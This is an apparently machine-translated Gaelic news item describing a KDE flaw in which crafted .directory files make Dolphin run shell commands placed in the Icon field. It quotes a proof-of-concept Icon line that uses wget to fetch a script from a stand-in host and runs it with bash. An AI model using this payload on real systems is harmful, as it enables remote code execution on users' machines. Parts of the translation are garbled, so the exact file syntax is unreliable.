Ann an KDE , a leigeas le neach-ionnsaigh òrdughan neo-riaghailteach a chuir an gnìomh nuair a chì neach-cleachdaidh eòlaire no tasglann anns a bheil faidhlichean “.desktop” agus “.directory” a chaidh an dealbhadh gu sònraichte. Tha ionnsaigh ag iarraidh gum faic an neach-cleachdaidh dìreach liosta de fhaidhlichean ann am manaidsear faidhle Dolphin, luchdaich sìos faidhle deasg droch-rùnach, no slaod ath-ghoirid air an deasg no a-steach do sgrìobhainn. Tha an duilgheadas ga nochdadh fhèin anns an fhoillseachadh làithreach de leabharlannan agus tionndaidhean nas sine, suas gu KDE 4. Tha an so-leòntachd fhathast (CVE nach deach a shònrachadh).
Tha an duilgheadas air adhbhrachadh le gnìomhachadh ceàrr den chlas KDesktopFile, a bhios, nuair a bhios tu a’ giullachd an caochladair “Icon”, gun a bhith a’ teicheadh gu ceart, a ’dol seachad air an luach gu gnìomh KConfigPrivate::expandString (), a bhios a’ leudachadh air caractaran sònraichte slige, a ’toirt a-steach giollachd na teudan “$(..)” mar òrdughan ri chur an gnìomh . A dh’ aindeoin riatanasan sònrachadh XDG, buileachadh bithear a’ dèanamh structaran shligean gun a bhith a’ sgaradh an seòrsa shuidheachaidhean, i.e. chan ann a-mhàin nuair a bhios tu a’ dearbhadh loidhne-àithne an tagraidh a thèid a chuir air bhog, ach cuideachd nuair a bhios tu a’ sònrachadh na h-ìomhaighean a tha air an taisbeanadh gu bunaiteach.
Mar eisimpleir, gus ionnsaigh a thoirt cuir tasglann zip chun neach-cleachdaidh le eòlaire anns a bheil faidhle “.directory” mar:
[Inntrigeadh Deasg] Seòrsa=Eòlaire-seòlaidh
An ìomhaigheag[$e] =$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)
Nuair a dh'fheuchas tu ri susbaint na tasglainn fhaicinn ann am manaidsear fhaidhlichean Dolphin, thèid an sgriobt https://example.com/FILENAME.sh a luchdachadh sìos agus a chur gu bàs.
Source: fosgailtenet.ru